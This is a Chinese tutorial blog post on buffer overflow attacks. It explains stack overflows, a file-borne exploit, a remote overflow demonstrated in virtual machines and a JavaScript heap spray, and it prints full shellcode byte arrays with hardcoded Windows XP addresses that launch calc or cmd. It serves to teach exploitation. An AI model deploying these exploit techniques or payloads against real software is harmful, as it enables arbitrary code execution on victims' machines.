前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >缓冲区溢出漏洞

缓冲区溢出漏洞

作者头像
Masimaro
发布于 2019-02-25 09:21:41
发布于 2019-02-25 09:21:41
2.1K00
代码可运行
举报
运行总次数:0
代码可运行

缓冲区溢出的根本原因是冯洛伊曼体系的计算机并不严格的区分代码段和数据段,只是简单的根据eip的指向来决定哪些是代码,所以缓冲区溢出攻击都会通过某种方式修改eip的值,让其指向恶意代码。缓冲区溢出攻击一般分为堆缓冲区溢出攻击和栈缓冲区溢出攻击

栈缓冲区溢出攻击

栈缓冲区溢出攻击的一般是传入一个超长的带有shellcode的字符缓冲,覆盖栈中的EIP值,这样当函数执行完成返回后就会返回到有shellcode的地方,执行恶意代码,下面我们通过一个例子详细的分析

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void msg_display(char * buf)
{
    char msg[200];
    strcpy(msg,buf);
      cout<<msg<<endl;
}

这个函数分配了200个字节的缓冲区,然后通过strcpy函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于200的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。 在调用函数时它的汇编代码大致上是这样的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
;调用函数
push buf
call msg_display
;函数调用完成后平衡堆栈
add esp, 4
;函数中的汇编代码
;保留原始的ebp,在release版中没有ebp
push ebp
mov eb, esp
;这个具体是多少我也 不太清楚,VC上默认给48h再加上函数中所有局部变量的大小计算得到的是110h
sub esp 110h
;....其他操作
;返回
mov esp,ebp
pop ebp
ret

函数的堆栈大致如下

如果传入的buf长度小于等于200的话,那么这个函数不会有问题,如果传入的大于200就会向后面溢出,覆盖后面的内容,一般针对这种漏洞,攻击者会精心构造一个字符串,这段字符串大致是由这些内容组成:204个不为0的随机字符 + jmp esp指令的地址+shellcode 这样在最后执行完函数中的操作时在返回时会将eip的值改成jmp esp的指令所在的地址,CPU就会执行esp所指向的位置的指令,而这个位置正是攻击者通过溢出手段所提供的攻击代码。至于这个jmp esp的地址在原始程序所生成的汇编代码中有大量这样的代码,通过暴力搜索很容易得到,覆盖之后,在函数返回之前的时候堆栈的环境大致如下

ret指令与call是互逆的,首先ret地址出栈,这样esp就指向后面的攻击代码,然后根据eip指向的地址去执行jmp esp的代码,这样就能顺利的去执行攻击代码了。 下面是一个利用缓冲区溢出攻击的例子

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" 
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0";

void func1(char* s)
{
    char buf[10];
    strcpy(buf, s);
}
void func2(void)
{
    printf("Hacked by me.\n");
    exit(0);
}
int main(int argc, char* argv[])
{
    char badCode[] = "aaaabbbb2222cccc4444ffff";
    DWORD* pEIP = (DWORD*)&badCode[16];
    //*pEIP = (DWORD)func2;
    *pEIP = (DWORD)shellcode;
    func1(badCode);
    return 0;
}

这个代码是xp的debug模式下运行,func1会出现缓冲区溢出的漏洞,在主函数中我们利用了这个漏洞,传入了一个超长的字符串,其中shellcode是一个开启command part对应的机器码,在主函数中我们首先定义了一个非法的字符串,然后将字符串的弟16个字符赋值为shellcode的首地址,为什么这里是16个呢,稍作计算就可以得出这个数,在func1中提供的缓冲是10个,根据内存对齐,其实它是占12个字节,接着在他的下面是老ebp,占4个字节,所以eip的返回地址是在buf + 12 + 4 = buf + 16的位置。这样就将原始的老eip的地址修改为了shellcode的首地址。而如果我们打开下面注释的语句,而将之前的那句给pEip赋值的语句注释起来,那么将会执行func2,通过这句将ret的地址修改为func2的首地址,那么自然会执行func2函数,需要注意的是在shellcode中一般都会在结束的位置调用一个ExitProcess,因为我们通过缓冲区溢出将代码写到了堆栈上,如果代码接着向下执行,就会执行堆栈上的无效代码,这样程序肯定会崩溃,而被攻击者也会发现。另外一点是对于像strcpy这样根据字符串末尾的\0来做为拷贝结束的标志的函数,利用它的漏洞则shellcode的中简不能出现\0,即使有也要用其他类似的指令替代就向把mov eax, 0这样的替换成xor eax, eax 这个是在本地做的缓冲区溢出的例子,这个例子是自己攻击自己,这样起不到攻击的效果,下面这个是通过文件的方式进行攻击。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
int main()
{
    int valid_flag=0;
    char password[1024];
    HANDLE hFile = NULL;
    DWORD dwReadLength = 0;
    LoadLibrary("user32.dll");//prepare for messagebox
    hFile = CreateFile("password.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (NULL == hFile)
    {
        printf("open file error!\n");
        return 0;
    }

    ReadFile(hFile, password, 1024, &dwReadLength, NULL);
    if (0 == dwReadLength)
    {
        printf("read error!\n");
        return 0;
    }
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    CloseHandle(hFile);
    return 0;
}

同样,这个程序发生溢出漏洞主要的位置是在verify_password 函数中的strcpy中,函数提供了44个字节的缓冲,但是我们传入的字符可能大于44,而这次攻击的主要代码是放在password.txt这个文件中,我们使用16进制的查看器,查看这个文件,得到如下结果

根据计算可以得出,修改eip的位置应该是在44 + 4 + 4 = 52 = 0x34 位置进行,而在xpsp3中0x77d29353对应的是jmp esp的地址,这个是我调试的图

仔细的对照发现,这段汇编码 所对应的机器码与文件中后面的部分完全一样。这样就完成了一个shellcode的注入 下面的例子是一个远程注入的例子,通过虚拟机模拟两台计算机之间的通信

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void msg_display(char * buf)
{
    char msg[200];
    strcpy(msg,buf);// overflow here, copy 0x200 to 200
    cout<<"********************"<<endl;
    cout<<"received:"<<endl;
    cout<<msg<<endl;
}

服务器端的程序主要功能是从客户端接收数据,并调用该函数打印字符串,从函数的代码来看,如果传入的字符少于200则不会出现问题,如果大于200,则会发生溢出。所以在这种情况下,攻击者从客户端发送一段精心构造的字符,进行缓冲区溢出攻击,执行它的恶意代码,原理与本地端程序的相同,下面是shellcode部分的代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
unsigned char buff[0x200] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaa"//200个a
"\x53\x93\xd2\x77"//jmp esp
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"  //loadlibrary地址
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" 
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);
;

服务器是采用release的方式编译的,所以在调用函数的时候没有进行ebp的压栈,所以在弟200个字符的位置就是jmp esp的地址,后面紧跟着攻击者构建的攻击代码,这段机器码主要的功能是弹出一个计算器 从上面的例子中我们看到许多shellcode都是采用16进制的方式硬编码出来的,而我们不可能真的拿16进制的机器码去编写程序,所以有的时候为了实现特定的功能,可以先使用C编写相关的代码,然后通过调试在VS中点击ALT + 8得到对应的汇编码,在汇编的界面上点击右键,选择显示汇编码那个选项就可以得到上面调试图片的代码,前面是地址,后面是汇编对应的机器码。

堆栈协同攻击

在使用栈溢出攻击的时候经常会破坏原始的堆栈,这样在执行完成攻击代码后如果不结束程序,一般程序都会崩溃,堆栈协同攻击是将攻击代码写入到堆中,对于栈来说只覆盖ret位置的地址,让其指向一个特定的地址,并将攻击代码写到这个地址上。

通过缓冲区溢出的方式将栈中保存的eip的值修改为0x0c0c0c0c,然后在堆中分配200M的内存,将这200M分为200分,每份1M,都填充为、\0x90\0x90\0x90…….\0x90 + shellcode + 0x00…0x00的方式,这样在函数返回时会返回到对应的地址,执行攻击代码。 在这有几个问题。 1. 为什么需要给填充那么多90也就是Nop指令? 我们说上面给的地址只是假想的地址,并不能保证分配的堆内存一定是这个首地址,如果堆内存以shellcode开头那么如果这个时候0x0c0c0c0c很有可能正好落在shellcode的某个指令里面,可能会发生指令截断,而执行错误的指令,所以前面以nop指令填充,Nop占一个字节,所以可以避免这种问题 2. 为什么要用0x0c0c0c0c这种对称的值做为返回地址? 要回答这个问题我们先假设这样一个情景,现在有一个获取文件全路径的函数,先通过某个方式得到文件所在目录szPath,然后根据用户传入的名称调用strcat将两个字符串进行拼接,然后最后返回,这个时候strcat由于不校验缓冲区的大小,就产生了一个可以利用的漏洞,但是由于返回的szPath路径长度不确定,那么我们传入多少个字符可以刚好溢出到ret的地址呢?有一种方法就是将所有的四个字节都写入这个返回地址,就像0x12345678 0x12345678 0x12345678这种,但是由于我们不知道szPath具体会是多少个字符,如果比我们预计的多一个那么覆盖到的就可能是0x34567812如果少一个则会是0x78123456,这些都不是我们想要的,所以采用0x0c0c0c0c这种对称的返回地址不管你的szPath是多少个字节,我都可以正确的将这个地址覆盖到ret的位置。 3. 为什么要分配200M这么到的空间,而且怎么保证这个0x0c0c0c0c一定落在这200M里面? 由于系统是随机分配的堆内存,所以分配的这块内存的首地址具体实多少谁也不知道,也不能保证这个0x0c0c0c0c一定会落在这200M空间内,所以我们分配这么大的空间,分为200份,每份都有这个shellcode,纯粹只是为了加大这个0x0c0c0c0c命中的概率,毕竟相比于shellcode不到几K的大小200M其实是很大的。 这个方法跳转到的地址是不确定的,有一定的盲目性,所以又叫做盲跳攻击 下面是一个利用javascript写得堆栈协同攻击的例子:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<script language="javascript">
var codeTemp = "%u558B%uEC33%uC050%u5050%uC645%uF44D%uC645%uF553"
+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
+"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
+"\x7b\x1d\x80\x7c"  //loadlibrary地址
+"\x52\x8D\x45\xF4\x50" 
+"\xFF\x55\xF0"
+"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" 
+"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
+"\x50\xB8"
+"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
+"\xFF\xD0"
+"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
+"\xff\xd0"//ExitProcess(0);

var codeTemp22 = "%u8B55%u33EC%u50C0%u5050%u45C6%u4DF4%u45C6%u53F5"
//+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
  +"\u45C6\u56F6\u45C6\u43F7\u45C6\u52F8\u45C6\u54F9\u45C6\u2eFA\u45C6"
+"\u44FB\u45C6\u4CFC\u45C6\u4CFD\uBA90"

//s+"\uC644\uFC45\uC64C\uFD45\uBA4C"
+"\u1d7b\u7c80"  //loadlibrary地址
+"\u8D52\uF445\uFF50" 
+"\uF055"
+"\u8B55\u83EC\u2CEC\u63B8\u6c61\u8963\uF445\u2eB8\u7865\u8965" 
+"\uF845\u20B8\u2020\u8922\uFC45\uD233\u5588\u8DFF\uF445" 
+"\uB850"
+"\u93c7\u77bf" //sytem函数地址 system("calc.eue");
+"\uD0FF"
+"\ub853\ucafa\u7c81"//EuitProcess Address
+"\ud0ff"//EuitProcess(0);

var shellcode=unescape(codeTemp22) ;
var nop=unescape("%u9090%u9090");
while (nop.length<= 0x100000/2)
{
    nop+=nop;
}

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();//fill 200MB heap memory with our block
for (var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}

</script>

这段代码首先利用循环分配了200M的空间,将每兆都写入shellcode加上nop指令,如果浏览器打开这个段代码将会在某个堆上面写入这段shellcode,如果浏览器被人利用溢出攻击将返回地址改为0x0c0c0c0c,那么很可能会跳转到这段代码上面,在测试的时候可以使用dll注入的方式,制造一个缓冲区溢出漏洞,然后在触发它就可以实现这个。下面是dll中用来触发溢出的代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
char *szOverflowBuff[] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c";

void test_overflow()
{
    char szBuf[28];
    strcpy(szBuf, szOverflowBuff);
}

那么在debug版本下这个字符串刚好能够覆盖ret的地址,所以如果IE首先打开了之前的脚本,将shellcode写入到内存中的,然后再执行这个代码,就会覆盖ret在返回返回的时候跳转到shellcode的位置执行shellcode的内容。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-10-24 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Yaf---加载规则插件使用
Yaf在自启动的时候, 会通过SPL注册一个自己的Autoloader, 出于性能的考虑, 对于框架相关的MVC类, Yaf Autoloader只以目录映射的方式尝试一次.
Marco爱吃红烧肉
2021/07/23
7580
[PHP] Yaf框架的简单安装使用
windows下载扩展:https://pecl.php.net/package/yaf/2.2.9/windows
唯一Chat
2019/09/10
5690
[PHP] Yaf框架的简单安装使用
适合初学者对Yaf框架的学习(二)
前言 上一篇介绍了Yaf的安装,适合初学者对Yaf框架的学习(一)http://www.cnblogs.com/joshua317/articles/4622551.html,这篇来介绍一下Yaf的布局 一、Yaf的目录结构 1 YafWeb 2 index.php #入口文件 3 application #应用目录 4 Bootstrap.php 5 controllers #控制器目录 6 Index.php #默认In
joshua317
2018/04/16
1.1K0
适合初学者对Yaf框架的学习(二)
Yaf---写在前面
Yaf有着和Zend Framework相似的API, 相似的理念, 而同时又保持着对Bingo的兼容, 以此来提高开发效率, 规范开发习惯. 本着对性能的追求, Yaf把框架中不易变的部分抽象出来,采用PHP扩展实现(c语言),以此来保证性能.在作者自己做的简单测试中, Yaf和原生的PHP在同样功能下, 性能损失小于10%, 而和ZendFramework的对比中, Yaf的性能是Zend Framework的50-60倍.
Marco爱吃红烧肉
2021/07/23
2.1K0
Yaf---异常和错误 | 路由和分发
Yaf实现了一套错误和异常捕获机制, 主要是对常见的错误处理和异常捕获方法做了一个简单抽象, 方便应用组织自己的错误统一处理逻辑。前题是需要配置过或是在程序中启用
Marco爱吃红烧肉
2021/07/23
9640
[php]yaf框架熟悉
使用conf中的配置文件application.ini(取目录/application) 调用/application/Bootstrap.php,把这个项目跑起来
杨肆月
2021/01/26
8450
[php]yaf框架熟悉
基于独立的 Laravel Eloquent 组件编写 ORM 模型类
模型类负责与数据库进行交互,这里的模型指的是数据表的模型,一个模型类对应一张数据表,数据表的字段会映射为模型类的属性,我们可以通过模型类提供的方法实现对应数据表记录的增删改查,这样一来,我们就将原来面向过程的数据库操作转化为面向对象风格的编程,将对数据表的 SQL 执行转化为对模型类的方法调用。
学院君
2020/08/27
2.4K0
Phalcon VS Spring 用法对照手册
Phalcon VS Spring 摘要 Phalcon VS Spring 用法对照表 ---- 目录 1. Install 1.1. Phalcon 1.2. Spring 2. Project initialization 2.1. Phalcon 2.2. Spring 3. Controller 3.4.1. Phalcon 3.4.2. Spring 3.3.1. Phalcon 3.3.2. Spring 3.2.1. Phalcon 3.2.2. Spring 3.1.1. Phalcon
netkiller old
2018/03/05
1.1K0
yaf源码阅读
yaf的入口是yaf_application类,我们可以做一些个性化的定制配置,然后调用run,进入主循环。
golangLeetcode
2022/08/02
5210
yaf源码阅读
轻量级高性能PHP框架ycroute
框架由3层架构构成,Controller、Model、View 以及1个可选的Dao层,支持PHP7,优点如下:
猿哥
2019/03/13
1.6K0
PHP全栈学习笔记20
thinkphp概述,thinkphp项目构建流程,thinkphp项目结构,thinkphp配置,thinkphp控制器,thinkphp模型,thinkphp视图,thinkphp的内置模板引擎。
达达前端
2019/07/03
2K0
PHP全栈学习笔记20
搭建CI使用Laravel ORM模块
下载CI框架并解压到工作目录 配置nginx,并重启nginx -s reload server { charset utf-8; client_max_body_size 128M; listen 80; server_name ci-with-orm.com; root /Users/clive/Workspace/ci_with_orm; index index.php index.html
Clive
2019/05/31
1.2K0
依托illuminate组件实现数据库迁移
因为一些原因,我准备选用yaf框架作为我们的主力开发框架,但是我还想要将Laravel的数据库迁移功能给挪过来。所以就研究了一天相关功能。终于让我实现了。
魔王卷子
2020/02/16
7570
使用easyswoole进行开发web网站
easyswoole作为swoole入门最简单的框架,其框架的定义就是适合大众php,更好的利用swoole扩展进行开发,
仙士可
2019/12/19
1.7K0
使用easyswoole进行开发web网站
Thinkphp
thinkphp:mvc模式 1,thinkphp的安装配置 条件 PHP>=5.4.0 PDO MbString CURL PHP Externsion Mysql Apache或Nginx 安装: composer composer config -g repo.packagist composer https://packagist.phpcomposer.com composer create-project --prefer-dist topthink/think think_co
Dean0731
2020/05/11
2.3K0
ThinkCMF 前台模板注入 RCE
ThinkCMF 是一款基于 PHP+MYSQL 开发的中文内容管理框架,底层采用 ThinkPHP3.2.3 构建。
wywwzjj
2023/05/09
1.6K0
ThinkCMF 前台模板注入 RCE
制作一个PHP简易框架(十)-- Session and Cookie
项目地址:https://github.com/ayuayue/php-frame
caoayu
2021/03/03
3860
制作一个PHP简易框架(十)-- Session and Cookie
Phalcon入门教程之控制器
控制器在MVC分层中的主要作用是处理请求与响应。Phalcon中的控制器类必须以“ Controller ”为后缀,action则以“ Action ”为后缀。 “ Phalcon\Mvc\Controller ”是Phalcon中控制器的基类,我们写的控制器类通过继承此基类,可以调用在DI中注册的各种服务。一个简单的控制器类示例如下: namespace Marser\App\Frontend\Controllers; use Phalcon\Mvc\Controller; class IndexCo
Marser
2018/06/25
7750
访问网站首页 index.php,跟着执行流程走一遍
访问网站首页 index.php,跟着执行流程走一遍,细节不深究,碰到不太明白的变量,直接var_dump()输出看看: 1. index.php——首页入口页面,版本判定、是否开启调试、引入 ThinkPHP框架 路径:‘./index.php‘ 判断PHP版本需是5.3.0以上:version_compare(PHP_VERSION,‘5.3.0‘,‘<‘); 系统调试设置:define(‘APP_DEBUG‘, true ); 应用目录设置:define ( ‘APP_PATH‘, ‘./Application/‘ ); 缓存目录设置:define ( ‘RUNTIME_PATH‘, ‘./Runtime/‘ ); 引入ThinkPHP:require ‘./ThinkPHP/ThinkPHP.php‘; 2. ThinkPHP.php——ThinkPHP框架的入口文件,定义各种常量、判断系统环境,初始化应用 路径:‘./ThinkPHP/ThinkPHP.php‘ 定义常量:版本号 THINK_VERSION、URL 模式定义(4 种模式)、类文件后缀 EXT、是否为SAE 环境、常用的系统路径常量(如Think类库目录、应用公共目录、缓存目录、配置目录等); 引入核心类Think.class.php:require CORE_PATH.‘Think‘.EXT; 应用初始化:Think\Think::start(); //命名空间\类名::方法(); //这里用到了命名空间 3. Think.class.php——框架的核心类,初始化应用程序,加载配置、类库,错误和异常处理,实例化对象 路径:‘./ThinkPHP/Library/Think/Think.class.php‘ 声明:Think\Think start()方法:加载需用的类、配置、语言包,是否需要缓存,运行应用 ①设定方法: spl_autoload_register(‘Think\Think::autoload‘); 自动加载类的方法,以及一些错误异常处理方法; ②分布式存储类初始化,用于读取、写入、删除文件;Storage::connect(STORAGE_TYPE); ③开发模式不缓存加载的核心类文件$runtimefile,用户模式将所有需引用的类并到同一个文件中缓存,加快后续访问速度。 ④加载应用的配置文件、需要的函数和类文件、行文扩展等文件路径的数组$mode;include ‘./ThinkPHP/Mode/common.php‘ ⑤循环加载处理$mode 数组中的各路径的文件; ⑥检查应用目录结构是否存在,不存在则会默认生成目录结构;(这个针对ThinkPHP新建一个应用,首次访问时使用) ⑦开始运行应用 App::run(); 即:‘./ThinkPHP/Library/Think/App.class.php‘ 4. App.class.php——加载公共文件配置、URL解析、调用对应的控制器方法 路径:‘./ThinkPHP/Library/Think/App.class.php‘ 声明:Think\App run()方法: ①App::init(); load_ext_file 加载应用的公共文件(./Application/Common/Common/)配置 (./Application/Common/Conf) Think\Dispatcher::dispatch(); URL解析,获取控制器 index、方法 index ②App::exec(); 执行应用程序,及新建控制器HomeConstroller 的实例,即对象; 创建控制器实例:$module = controller(CONTROLLER_NAME,CONTROLLER_PATH); 即=new IndexController(); 利用 php 反 射 机 制 获 取 action 方 法 对 象 , $method = new \ReflectionMethod($module, $action); 执行这个方法:$method->invoke($module); //无参数时执行,访问首页默认执行这个 $method->invokeArgs($module,$args); //有参数时执行; 以上即执行了控制器 ./Application/Hom
PM吃瓜
2019/08/13
4K0
Laravel学习笔记之bootstrap源码解析
说明:Laravel在把Request通过管道Pipeline送入中间件Middleware和路由Router之前,还做了程序的启动Bootstrap工作,本文主要学习相关源码,看看Laravel启动程序做了哪些具体工作,并将个人的研究心得分享出来,希望对别人有所帮助。Laravel在入口index.php时先加载Composer加载器:Laravel学习笔记之Composer自动加载,然后进行Application的实例化:Laravel学习笔记之IoC Container实例化源码解析,得到实例化后的Application对象再从容器中解析出Kernel服务,然后进行Request实例化(Request实例化下次再聊),然后进行Bootstrap操作启动程序,再通过Pipeline送到Middleware:Laravel学习笔记之Middleware源码解析,然后经过路由映射找到对该请求的操作action(以后再聊),生成Response对象经过Kernel的send()发送给Client。本文主要聊下程序的启动操作,主要做了哪些准备工作。
用户7353560
2021/11/07
4K0
相关推荐
Yaf---加载规则插件使用
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档